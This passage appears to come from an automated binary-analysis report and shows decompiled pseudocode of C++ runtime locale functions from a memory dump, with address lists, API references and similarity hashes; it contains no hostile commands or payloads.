						_t123 =  *((intOrPtr*)(_t123 - 4));
						_t134 = _t134 + 0x23;
						if(_t80 - _t123 + 0xfffffffc > 0x1f) {
							E0010F44B(_t112, _t123, _t134, _t137, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_t85 = E0008ADC0(_t123, 0xa, 0x7fffffff);
							__eflags = _t85 - 0x7fffffff;
							_t66 = _t85 != 0x7fffffff;
							__eflags = _t66;
							return _t85 & 0xffffff00 | _t66;
						} else {
							goto L32;
						}
					}
				}
			}

0x000871c0
0x000871c0
0x000871c1
0x000871c9
0x000871d0
0x000871d4
0x000871d6
0x000871d8
0x000871e3
0x000871e4
0x000871e5
0x000871eb
0x000871f0
0x000871f2
0x000871f5
0x000871f6
0x000871f7
0x000871fb
0x00087201
0x00087204
0x0008720a
0x0008720e
0x0008721a
0x0008721c
0x00087223
0x0008722a
0x0008722c
0x0008722f
0x00087234
0x00087238
0x00087242
0x00087247
0x0008724a
0x0008724a
0x00087253
0x00087258
0x0008725c
0x00087262
0x00087267
0x0008726a
0x0008726f
0x00087275
0x00087281
0x00087283
0x00087288
0x00087289
0x0008728e
0x0008728e
0x00087296
0x0008729b
0x000872a1
0x000872a1
0x000872a4
0x000872ad
0x000872bf
0x000872bf
0x00000000
0x000872af
0x000872b2
0x000872b7
0x000872c1
0x000872c5
0x000872da
0x000872dc
0x00000000
0x00000000
0x000872c7
0x000872c7
0x000872cc
0x000872d2
0x000872e2
0x000872e2
0x000872e7
0x000872f0
0x000872f7
0x000872f9
0x000872fc
0x000872ff
0x00087303
0x00087309
0x0008730b
0x00087314
0x00087317
0x00087319
0x0008731b
0x0008731b
0x0008731b
0x0008730d
0x0008730d
0x0008730d
0x00087322
0x0008732d
0x00087335
0x0008733b
0x00087346
0x00087349
0x0008734d
0x00087351
0x00087355
0x0008735a
0x00087362
0x00087365
0x0008736a
0x0008736e
0x00087372
0x00087379
0x0008737c
0x0008737f
0x00087384
0x0008743a
0x0008738a
0x0008738d
0x0008738d
0x00087390
0x000872e9
0x000872e9
0x000872e9
0x000872d4
0x000872d7
0x00000000
0x000872d7
0x000872d2
0x000872c5
0x000872b7
0x00087399
0x0008739e
0x000873a2
0x000873a5
0x000873ac
0x000873b3
0x000873ba
0x000873bd
0x000873c2
0x000873c4
0x000873c8
0x000873ca
0x000873cc
0x000873cc
0x000873ce
0x000873d1
0x000873d3
0x000873d3
0x000873d5
0x000873d6
0x000873d7
0x000873d8
0x000873d9
0x000873de
0x000873de
0x000873e1
0x000873e7
0x00087417
0x0008741d
0x00087437
0x000873e9
0x000873e9
0x000873ec
0x000873f3
0x000873fb
0x0008740d
0x0008740d
0x0008740f
0x00000000
0x000873fd
0x000873fd
0x00087400
0x0008740b
0x00087441
0x00087446
0x00087447
0x00087448
0x00087449
0x0008744a
0x0008744b
0x0008744c
0x0008744d
0x0008744e
0x0008744f
0x00087457
0x0008745c
0x00087461
0x00087461
0x00087464
0x00000000
0x00000000
0x00000000
0x0008740b
0x000873fb

APIs

Part of subcall function 00057070: GetSystemDirectoryW.KERNEL32(?,00000208), ref: 000570B1

std::_Lockit::_Lockit.LIBCPMT ref: 00087253
std::_Lockit::_Lockit.LIBCPMT ref: 00087275
std::_Lockit::~_Lockit.LIBCPMT ref: 00087296

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

__Getcvt.LIBCPMT ref: 0008733B

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 00087372
std::_Lockit::~_Lockit.LIBCPMT ref: 00087399

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 000569D0: std::locale::_Init.LIBCPMT ref: 00056A17
Part of subcall function 000569D0: std::_Lockit::_Lockit.LIBCPMT ref: 00056A50
Part of subcall function 000569D0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00056AA1
Part of subcall function 000569D0: __Getcvt.LIBCPMT ref: 00056AAA
Part of subcall function 000569D0: std::_Lockit::_Lockit.LIBCPMT ref: 00056B05
Part of subcall function 000569D0: std::_Lockit::~_Lockit.LIBCPMT ref: 00056B26
Part of subcall function 000569D0: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00056B37

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Locinfo::_$Exception@8GetcvtLocinfo_ctorThrowstd::locale::_$AddfacDirectoryFacet_FeatureInitLocimp::_Locimp_Locinfo_dtorPresentProcessorRegisterSystem___raise_securityfailure__onexit
String ID:
API String ID: 2434348438-0
Opcode ID: 7f473707ae5a742491411e3323794296d3a4b519038c3455c01638d15b1186c7
Instruction ID: ac4ccdaa98d4711ad7b77198a6c26c0c3f1609768c329678c4446a343c09cc12
Opcode Fuzzy Hash: 7f473707ae5a742491411e3323794296d3a4b519038c3455c01638d15b1186c7
Instruction Fuzzy Hash: 8281AF70905204DFDB24EF68D881BAEBBB1FF45310F24415DE849A7752EB70EA84CB92

Uniqueness

Uniqueness Score: 100.00%

Function 00056DE0, Relevance: 9.2, APIs: 6, Instructions: 196
UNIQUE

Download Yara Rule

C-Code - Quality: 72%

			E00056DE0(intOrPtr* __ecx, intOrPtr* __edx) {
				intOrPtr _v8;
				char _v16;
				char _v24;
				signed int _v32;
				signed int _v36;
				char _v40;
				intOrPtr* _v44;
				char _v48;
				char _v52;
				intOrPtr* _v56;
				char _v108;
				char _v156;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t66;
				signed int _t69;
				signed int _t71;
				intOrPtr* _t80;
				signed int _t85;
				intOrPtr _t87;
				void* _t90;
				intOrPtr* _t95;
				void* _t98;
				signed int _t103;
				signed int _t104;
				void* _t108;
				signed int _t111;
				intOrPtr* _t115;
				intOrPtr* _t116;
				void* _t117;
				intOrPtr _t122;
				intOrPtr _t129;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr* _t134;
				signed int _t137;
				void* _t143;
				signed int _t146;
				void* _t147;
				void* _t151;

				_t108 = _t143;
				_t146 = (_t143 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t108 + 4));
				_push(0xffffffff);
				_push(0x12d0e6);
				_push( *[fs:0x0]);
				_push(_t108);
				_t147 = _t146 - 0x80;
				_t66 =  *0x16f170; // 0xd529e887
				_push(_t66 ^ _t146);
				 *[fs:0x0] =  &_v24;
				_v44 = __edx;
				_t134 = __ecx;
				_v48 = __ecx;
				_v56 = __ecx;
				_v40 = 0;
				_t69 =  *0x17a3cc; // 0x1
				if((_t69 & 0x00000001) == 0) {
					_t105 = _t69 | 0x00000001;
					 *0x17a3cc = _t69 | 0x00000001;
					_v16 = 0;
					E000569D0(__ecx, __edx, _t105);
					E000ED2BB(_t105,  &M00138500);
					_t147 = _t147 + 4;
					_v16 = 0xffffffff;
				}
				E000D71DA( &_v48, 0);
				_v16 = 1;
				_t111 =  *0x17920c; // 0x1a
				_t71 =  *0x17a400; // 0x0
				_v36 = _t71;
				_v32 = _t111;
				if(_t111 == 0) {
					E000D71DA( &_v52, _t111);
					if( *0x17920c == 0) {
						_t103 =  *0x179200; // 0x27
						_t104 = _t103 + 1;
						 *0x179200 = _t104;
						 *0x17920c = _t104;
					}
					E000D7232( &_v52);
					_t111 =  *0x17920c; // 0x1a
					_v32 = _t111;
				}
				_t129 =  *0x17a3b8; // 0x4fadc0
				if(_t111 >=  *((intOrPtr*)(_t129 + 0xc))) {
					_t137 = 0;
					__eflags = 0;
					goto L10;
				} else {
					_t137 =  *( *((intOrPtr*)(_t129 + 8)) + _t111 * 4);
					if(_t137 != 0) {
						L23:
						E000D7232( &_v48);
						_v16 = 4;
						 *((intOrPtr*)(_t134 + 0x10)) = 0;
						 *((intOrPtr*)(_t134 + 0x14)) = 7;
						 *_t134 = 0;
						E000682A0(_t108, _t134,  *((intOrPtr*)(_v44 + 0x10)) + 0xa, 0x20);
						_t130 =  *((intOrPtr*)(_t134 + 0x14));
						_t115 = _t134;
						_v40 = 4;
						if(_t130 >= 8) {
							_t115 =  *_t134;
						}
						_v32 = _t134;
						_v36 = _t115 + ( *((intOrPtr*)(_t134 + 0x10)) - 1) * 2;
						if(_t130 >= 8) {
							_v32 =  *_t134;
						}
						_t80 = _v44;
						_t116 = _t80;
						_t131 =  *((intOrPtr*)(_t80 + 0x14));
						if(_t131 >= 0x10) {
							_t116 =  *_t80;
						}
						_t117 = _t116 +  *((intOrPtr*)(_t80 + 0x10));
						if(_t131 >= 0x10) {
							_t80 =  *_t80;
						}
						_push(_t137);
						E00064480(_t134, E00056BE0(_t108, _t80, _t117, _v32, _v36), 0);
						 *[fs:0x0] = _v24;
						return _t134;
					}
					L10:
					if( *((char*)(_t129 + 0x14)) == 0) {
						L13:
						if(_t137 != 0) {
							goto L23;
						}
						L14:
						_t85 = _v36;
						if(_t85 == 0) {
							_push(0x34);
							_t137 = E000ECF08(_t137, __eflags);
							_t151 = _t147 + 4;
							_v36 = _t137;
							_v16 = 2;
							_t122 =  *0x17a3b8; // 0x4fadc0
							__eflags = _t122;
							if(_t122 != 0) {
								_t87 =  *((intOrPtr*)(_t122 + 0x18));
								__eflags = _t87;
								if(_t87 == 0) {
									_t33 = _t122 + 0x1c; // 0x4faddc
									_t87 = _t33;
								}
							} else {
								_t87 = 0x15063e;
							}
							E00051DD0(_t108,  &_v108, _t129, _t134, _t87);
							 *((intOrPtr*)(_t137 + 4)) = 0;
							 *_t137 = 0x13ab78;
							_t90 = E000DA744(_t108, _t129, __eflags,  &_v156);
							_v40 = 0;
							asm("movups xmm0, [eax]");
							asm("movups [esi+0x8], xmm0");
							asm("movups xmm0, [eax+0x10]");
							asm("movups [esi+0x18], xmm0");
							asm("movq xmm0, [eax+0x20]");
							asm("movq [esi+0x28], xmm0");
							 *((intOrPtr*)(_t137 + 0x30)) =  *((intOrPtr*)(_t90 + 0x28));
							E00051E90( &_v108);
							_v36 = _t137;
							_v16 = 3;
							E000D974C(__eflags, _t137);
							_t147 = _t151 + 8;
							_t95 =  *((intOrPtr*)( *_t137 + 4));
							__eflags = _t95 - 0x52060;
							if(_t95 != 0x52060) {
								 *_t95();
							} else {
								asm("lock inc dword [eax]");
							}
							 *0x17a400 = _t137;
						} else {
							_t137 = _t85;
						}
						goto L23;
					}
					_t98 = E000D9778();
					_t137 = _v32;
					if(_t137 >=  *((intOrPtr*)(_t98 + 0xc))) {
						goto L14;
					}
					_t137 =  *( *((intOrPtr*)(_t98 + 8)) + _t137 * 4);
					goto L13;
				}
			}

0x00056de1
0x00056de9
0x00056df0
0x00056df6
0x00056df8
0x00056e03
0x00056e04
0x00056e05
0x00056e0d
0x00056e14
0x00056e18
0x00056e1e
0x00056e21
0x00056e23
0x00056e26
0x00056e29
0x00056e30
0x00056e37
0x00056e39
0x00056e3c
0x00056e41
0x00056e48
0x00056e52
0x00056e57
0x00056e5a
0x00056e5a
0x00056e66
0x00056e6b
0x00056e72
0x00056e78
0x00056e7d
0x00056e80
0x00056e85
0x00056e8b
0x00056e97
0x00056e99
0x00056e9e
0x00056e9f
0x00056ea4
0x00056ea4
0x00056eac
0x00056eb1
0x00056eb7
0x00056eb7
0x00056eba
0x00056ec3
0x00056ed5
0x00056ed5
0x00000000
0x00056ec5
0x00056ec8
0x00056ecd
0x00056fb3
0x00056fb6
0x00056fc0
0x00056fcc
0x00056fd6
0x00056fdd
0x00056fe3
0x00056fe8
0x00056feb
0x00056fed
0x00056ff7
0x00056ff9
0x00056ff9
0x00056fff
0x00057005
0x0005700b
0x0005700f
0x0005700f
0x00057012
0x00057015
0x00057017
0x0005701d
0x0005701f
0x0005701f
0x00057021
0x00057027
0x00057029
0x00057029
0x0005702b
0x00057043
0x0005704d
0x0005705d
0x0005705d
0x00056ed7
0x00056edb
0x00056ef0
0x00056ef2
0x00000000
0x00000000
0x00056ef8
0x00056ef8
0x00056efd
0x00056f06
0x00056f0d
0x00056f0f
0x00056f12
0x00056f15
0x00056f19
0x00056f1f
0x00056f21
0x00056f2a
0x00056f2d
0x00056f2f
0x00056f31
0x00056f31
0x00056f31
0x00056f23
0x00056f23
0x00056f23
0x00056f38
0x00056f43
0x00056f4b
0x00056f51
0x00056f59
0x00056f63
0x00056f66
0x00056f6a
0x00056f6e
0x00056f72
0x00056f77
0x00056f7f
0x00056f82
0x00056f87
0x00056f8b
0x00056f8f
0x00056f96
0x00056f99
0x00056f9c
0x00056fa1
0x00057060
0x00056fa7
0x00056faa
0x00056faa
0x00056fad
0x00056eff
0x00056eff
0x00056eff
0x00000000
0x00056efd
0x00056edd
0x00056ee2
0x00056ee8
0x00000000
0x00000000
0x00056eed
0x00000000
0x00056eed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00056E66
std::_Lockit::_Lockit.LIBCPMT ref: 00056E8B
std::_Lockit::~_Lockit.LIBCPMT ref: 00056EAC

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

__Getcvt.LIBCPMT ref: 00056F51

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 00056F8F
std::_Lockit::~_Lockit.LIBCPMT ref: 00056FB6

Part of subcall function 00056BE0: __CxxThrowException@8.LIBVCRUNTIME ref: 00056C47

Part of subcall function 000569D0: std::locale::_Init.LIBCPMT ref: 00056A17
Part of subcall function 000569D0: std::_Lockit::_Lockit.LIBCPMT ref: 00056A50
Part of subcall function 000569D0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00056AA1
Part of subcall function 000569D0: __Getcvt.LIBCPMT ref: 00056AAA
Part of subcall function 000569D0: std::_Lockit::_Lockit.LIBCPMT ref: 00056B05
Part of subcall function 000569D0: std::_Lockit::~_Lockit.LIBCPMT ref: 00056B26
Part of subcall function 000569D0: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00056B37

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Exception@8Locinfo::_Throw$GetcvtLocinfo_ctorstd::locale::_$AddfacFacet_InitLocimp::_Locimp_Locinfo_dtorRegister__onexit
String ID:
API String ID: 2996750831-0
Opcode ID: ce23d353c0f23d46fdc90c95fd050d8b3a3b41ae4295ca9ed5c6ac4bab546772
Instruction ID: ef5cc722b117be15414b1560467462e43e0423f32d25bba851c303b0d6e25c9a
Opcode Fuzzy Hash: ce23d353c0f23d46fdc90c95fd050d8b3a3b41ae4295ca9ed5c6ac4bab546772
Instruction Fuzzy Hash: A4819EB0E002058FDB14DF58D945BAEB7F5FF58311F504169E809A7392EB71AA88CB91

Uniqueness

Uniqueness Score: 100.00%

Function 00086F80, Relevance: 9.2, APIs: 6, Instructions: 183
UNIQUE

Download Yara Rule

C-Code - Quality: 62%

			E00086F80(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				char _v16;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v44;
				signed int _v48;
				char _v56;
				signed int _v60;
				intOrPtr _v64;
				char _v68;
				signed int _v72;
				signed int _v76;
				char* _v80;
				char _v84;
				char _v88;
				intOrPtr _v92;
				char _v124;
				char _v148;
				char _v172;
				intOrPtr _v192;
				char _v200;
				char _v208;
				signed int _v216;
				char _v240;
				intOrPtr _v252;
				intOrPtr _v256;
				char _v264;
				intOrPtr _v268;
				signed int _t120;
				signed int _t121;
				signed int _t125;
				signed int _t127;
				signed int _t128;
				intOrPtr _t133;
				signed int _t139;
				signed int _t140;
				signed int _t144;
				signed int _t146;
				char* _t148;
				intOrPtr _t151;
				signed int _t156;
				signed int _t159;
				signed int _t161;
				void* _t164;
				intOrPtr* _t169;
				void* _t172;
				signed int _t177;
				signed int _t178;
				signed int _t179;
				signed int _t183;
				void* _t186;
				intOrPtr* _t191;
				void* _t194;
				signed int _t199;
				signed int _t200;
				void* _t205;
				void* _t207;
				signed int _t211;
				intOrPtr _t218;
				signed int _t220;
				signed int _t222;
				intOrPtr _t227;
				void* _t228;
				signed int _t229;
				signed int _t235;
				void* _t241;
				signed int _t242;
				void* _t243;
				signed int _t244;
				signed int _t245;
				void* _t246;
				intOrPtr* _t247;
				intOrPtr _t249;
				intOrPtr* _t251;
				signed int _t254;
				signed int _t256;
				signed int _t260;
				signed int _t263;
				void* _t265;
				signed int _t268;
				void* _t269;
				signed int _t275;
				void* _t276;
				void* _t280;
				void* _t282;
				void* _t287;

				_t241 = __edx;
				_t209 = __ecx;
				_push(__ebx);
				_t205 = _t265;
				_t268 = (_t265 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t205 + 4));
				_t260 = _t268;
				_push(0xffffffff);
				_push(0x130525);
				_push( *[fs:0x0]);
				_push(_t205);
				_t269 = _t268 - 0x90;
				_t120 =  *0x16f170; // 0xd529e887
				_t121 = _t120 ^ _t260;
				_v32 = _t121;
				_push(__esi);
				_push(__edi);
				_push(_t121);
				 *[fs:0x0] =  &_v24;
				_t249 = __ecx;
				_v64 = __ecx;
				_v64 = __ecx;
				_v64 = E00057070(_t205, __ecx,  &_v56);
				_v16 = 0;
				_t125 =  *0x17a3cc; // 0x1
				if((_t125 & 0x00000001) == 0) {
					_t201 = _t125 | 0x00000001;
					 *0x17a3cc = _t125 | 0x00000001;
					_v16 = 1;
					E000569D0(_t209, _t241, _t201);
					E000ED2BB(_t201,  &M00138500);
					_t269 = _t269 + 4;
					_v16 = 0;
				}
				E000D71DA( &_v72, 0);
				_v16 = 2;
				_t254 =  *0x17920c; // 0x1a
				_t127 =  *0x17a400; // 0x0
				_v60 = _t127;
				if(_t254 == 0) {
					E000D71DA( &_v68, _t254);
					_t287 =  *0x17920c - _t254; // 0x1a
					if(_t287 == 0) {
						_t199 =  *0x179200; // 0x27
						_t200 = _t199 + 1;
						 *0x179200 = _t200;
						 *0x17920c = _t200;
					}
					E000D7232( &_v68);
					_t254 =  *0x17920c; // 0x1a
				}
				_t211 =  *0x17a3b8; // 0x4fadc0
				if(_t254 >=  *((intOrPtr*)(_t211 + 0xc))) {
					_t128 = 0;
					__eflags = 0;
					goto L10;
				} else {
					_t128 =  *((intOrPtr*)( *((intOrPtr*)(_t211 + 8)) + _t254 * 4));
					if(_t128 == 0) {
						L10:
						if( *((char*)(_t211 + 0x14)) == 0) {
							L13:
							if(_t128 == 0) {
								goto L14;
							}
						} else {
							_t194 = E000D9778();
							if(_t254 >=  *((intOrPtr*)(_t194 + 0xc))) {
								L14:
								_t294 = _v60;
								if(_v60 == 0) {
									_push(0x34);
									_t254 = E000ECF08(_t254, _t294);
									_t282 = _t269 + 4;
									_v60 = _t254;
									_v16 = 3;
									_t235 =  *0x17a3b8; // 0x4fadc0
									_t295 = _t235;
									if(_t235 != 0) {
										_t183 =  *(_t235 + 0x18);
										__eflags = _t183;
										if(_t183 == 0) {
											_t32 = _t235 + 0x1c; // 0x4faddc
											_t183 = _t32;
										}
									} else {
										_t183 = 0x15063e;
									}
									E00051DD0(_t205,  &_v124, _t241, _t249, _t183);
									 *((intOrPtr*)(_t254 + 4)) = 0;
									 *_t254 = 0x13ab78;
									_t186 = E000DA744(_t205, _t241, _t295,  &_v172);
									asm("movups xmm0, [eax]");
									asm("movups [esi+0x8], xmm0");
									asm("movups xmm0, [eax+0x10]");
									asm("movups [esi+0x18], xmm0");
									asm("movq xmm0, [eax+0x20]");
									asm("movq [esi+0x28], xmm0");
									 *((intOrPtr*)(_t254 + 0x30)) =  *((intOrPtr*)(_t186 + 0x28));
									E00051E90( &_v124);
									_v60 = _t254;
									_v16 = 4;
									E000D974C(_t295, _t254);
									_t269 = _t282 + 8;
									_t191 =  *((intOrPtr*)( *_t254 + 4));
									if(_t191 != 0x52060) {
										 *_t191();
									} else {
										asm("lock inc dword [eax]");
									}
									 *0x17a400 = _t254;
								}
							} else {
								_t128 =  *((intOrPtr*)( *((intOrPtr*)(_t194 + 8)) + _t254 * 4));
								goto L13;
							}
						}
					}
				}
				_v16 = 0;
				E000D7232( &_v72);
				E00064650(_t249, _t241, _v64);
				_t242 = _v36;
				if(_t242 < 8) {
					L26:
					 *[fs:0x0] = _v24;
					return E000ECED8(_v32 ^ _t260);
				} else {
					_t218 = _v56;
					_t243 = 2 + _t242 * 2;
					_t133 = _t218;
					if(_t243 < 0x1000) {
						L25:
						_push(_t243);
						E000ED2D0(_t218);
						goto L26;
					} else {
						_t218 =  *((intOrPtr*)(_t218 - 4));
						_t243 = _t243 + 0x23;
						if(_t133 - _t218 + 0xfffffffc > 0x1f) {
							E0010F44B(_t205, _t218, _t243, _t249, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t205);
							_t207 = _t269;
							_t275 = (_t269 - 0x00000008 & 0xfffffff8) + 4;
							_push(_t260);
							_v192 =  *((intOrPtr*)(_t207 + 4));
							_t263 = _t275;
							_push(0xffffffff);
							_push(0x13059e);
							_push( *[fs:0x0]);
							_push(_t207);
							_t276 = _t275 - 0xa0;
							_t139 =  *0x16f170; // 0xd529e887
							_t140 = _t139 ^ _t263;
							_v216 = _t140;
							_push(_t254);
							_push(_t249);
							_push(_t140);
							 *[fs:0x0] =  &_v208;
							_v252 = _t218;
							_v256 = _t218;
							_v268 = _t218;
							_v264 = 0;
							_t251 = E00057070(_t207, _t249,  &_v240);
							_v200 = 0;
							_t144 =  *0x17a3cc; // 0x1
							__eflags = _t144 & 0x00000001;
							if((_t144 & 0x00000001) == 0) {
								_t179 = _t144 | 0x00000001;
								__eflags = _t179;
								 *0x17a3cc = _t179;
								_v28 = 1;
								E000569D0(_t218, _t243, __eflags);
								E000ED2BB(__eflags,  &M00138500);
								_t276 = _t276 + 4;
								_v28 = 0;
							}
							E000D71DA( &_v84, 0);
							_v28 = 2;
							_t220 =  *0x17920c; // 0x1a
							_t146 =  *0x17a400; // 0x0
							_v72 = _t146;
							_v76 = _t220;
							__eflags = _t220;
							if(_t220 == 0) {
								E000D71DA( &_v88, _t220);
								__eflags =  *0x17920c;
								if( *0x17920c == 0) {
									_t177 =  *0x179200; // 0x27
									_t178 = _t177 + 1;
									__eflags = _t178;
									 *0x179200 = _t178;
									 *0x17920c = _t178;
								}
								E000D7232( &_v88);
								_t220 =  *0x17920c; // 0x1a
								_v76 = _t220;
							}
							_t244 =  *0x17a3b8; // 0x4fadc0
							__eflags = _t220 -  *((intOrPtr*)(_t244 + 0xc));
							if(_t220 >=  *((intOrPtr*)(_t244 + 0xc))) {
								_t256 = 0;
								__eflags = 0;
								goto L39;
							} else {
								_t256 =  *( *((intOrPtr*)(_t244 + 8)) + _t220 * 4);
								__eflags = _t256;
								if(_t256 == 0) {
									L39:
									__eflags =  *((char*)(_t244 + 0x14));
									if( *((char*)(_t244 + 0x14)) == 0) {
										L42:
										__eflags = _t256;
										if(_t256 == 0) {
											goto L43;
										}
									} else {
										_t172 = E000D9778();
										_t256 = _v76;
										__eflags = _t256 -  *((intOrPtr*)(_t172 + 0xc));
										if(_t256 >=  *((intOrPtr*)(_t172 + 0xc))) {
											L43:
											_t159 = _v72;
											__eflags = _t159;
											if(__eflags == 0) {
												_push(0x34);
												_t256 = E000ECF08(_t256, __eflags);
												_t280 = _t276 + 4;
												_v72 = _t256;
												_v28 = 3;
												_t229 =  *0x17a3b8; // 0x4fadc0
												__eflags = _t229;
												if(_t229 != 0) {
													_t161 =  *(_t229 + 0x18);
													__eflags = _t161;
													if(_t161 == 0) {
														_t88 = _t229 + 0x1c; // 0x4faddc
														_t161 = _t88;
													}
												} else {
													_t161 = 0x15063e;
												}
												E00051DD0(_t207,  &_v148, _t244, _t251, _t161);
												 *((intOrPtr*)(_t256 + 4)) = 0;
												 *_t256 = 0x13ab78;
												_t164 = E000DA744(_t207, _t244, __eflags,  &_v200);
												asm("movups xmm0, [eax]");
												asm("movups [esi+0x8], xmm0");
												asm("movups xmm0, [eax+0x10]");
												asm("movups [esi+0x18], xmm0");
												asm("movq xmm0, [eax+0x20]");
												asm("movq [esi+0x28], xmm0");
												 *((intOrPtr*)(_t256 + 0x30)) =  *((intOrPtr*)(_t164 + 0x28));
												E00051E90( &_v148);
												_v72 = _t256;
												_v28 = 4;
												E000D974C(__eflags, _t256);
												_t276 = _t280 + 8;
												_t169 =  *((intOrPtr*)( *_t256 + 4));
												__eflags = _t169 - 0x52060;
												if(_t169 != 0x52060) {
													 *_t169();
												} else {
													asm("lock inc dword [eax]");
												}
												 *0x17a400 = _t256;
											} else {
												_t256 = _t159;
											}
										} else {
											_t256 =  *( *((intOrPtr*)(_t172 + 8)) + _t256 * 4);
											goto L42;
										}
									}
								}
							}
							E000D7232( &_v84);
							_v28 = 5;
							_t148 = _v80;
							_v92 = 4;
							 *((intOrPtr*)(_t148 + 0x10)) = 0;
							 *((intOrPtr*)(_t148 + 0x14)) = 0xf;
							 *_t148 = 0;
							_t222 =  *(_t251 + 0x10);
							__eflags = _t222;
							if(_t222 != 0) {
								__eflags =  *((intOrPtr*)(_t251 + 0x14)) - 8;
								_t247 = _t251;
								if(__eflags >= 0) {
									_t247 =  *_t251;
								}
								_t228 = _t247 + _t222 * 2;
								if(__eflags >= 0) {
									_t251 =  *_t251;
								}
								_push(_t256);
								_push(_t148);
								_push(_t228);
								_push(_t251);
								E000AB400(_t207, _t251, _t256);
								_t276 = _t276 + 0x10;
							}
							_t245 = _v48;
							__eflags = _t245 - 8;
							if(_t245 < 8) {
								L62:
								 *[fs:0x0] = _v36;
								__eflags = _v44 ^ _t263;
								return E000ECED8(_v44 ^ _t263);
							} else {
								_t227 = _v68;
								_t246 = 2 + _t245 * 2;
								_t151 = _t227;
								__eflags = _t246 - 0x1000;
								if(_t246 < 0x1000) {
									L61:
									_push(_t246);
									E000ED2D0(_t227);
									goto L62;
								} else {
									_t227 =  *((intOrPtr*)(_t227 - 4));
									_t246 = _t246 + 0x23;
									__eflags = _t151 - _t227 + 0xfffffffc - 0x1f;
									if(__eflags > 0) {
										E0010F44B(_t207, _t227, _t246, _t251, __eflags);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_t156 = E0008ADC0(_t227, 0xa, 0x7fffffff);
										__eflags = _t156 - 0x7fffffff;
										_t118 = _t156 != 0x7fffffff;
										__eflags = _t118;
										return _t156 & 0xffffff00 | _t118;
									} else {
										goto L61;
									}
								}
							}
						} else {
							goto L25;
						}
					}
				}
			}

0x00086f80
0x00086f80
0x00086f80
0x00086f81
0x00086f89
0x00086f90
0x00086f94
0x00086f96
0x00086f98
0x00086fa3
0x00086fa4
0x00086fa5
0x00086fab
0x00086fb0
0x00086fb2
0x00086fb5
0x00086fb6
0x00086fb7
0x00086fbb
0x00086fc1
0x00086fc3
0x00086fc9
0x00086fd2
0x00086fd5
0x00086fdc
0x00086fe3
0x00086fe5
0x00086fe8
0x00086fed
0x00086ff1
0x00086ffb
0x00087000
0x00087003
0x00087003
0x0008700c
0x00087011
0x00087015
0x0008701b
0x00087020
0x00087025
0x0008702b
0x00087030
0x00087036
0x00087038
0x0008703d
0x0008703e
0x00087043
0x00087043
0x0008704b
0x00087050
0x00087050
0x00087056
0x0008705f
0x00087071
0x00087071
0x00000000
0x00087061
0x00087064
0x00087069
0x00087073
0x00087077
0x00087089
0x0008708b
0x00000000
0x00000000
0x00087079
0x00087079
0x00087081
0x00087091
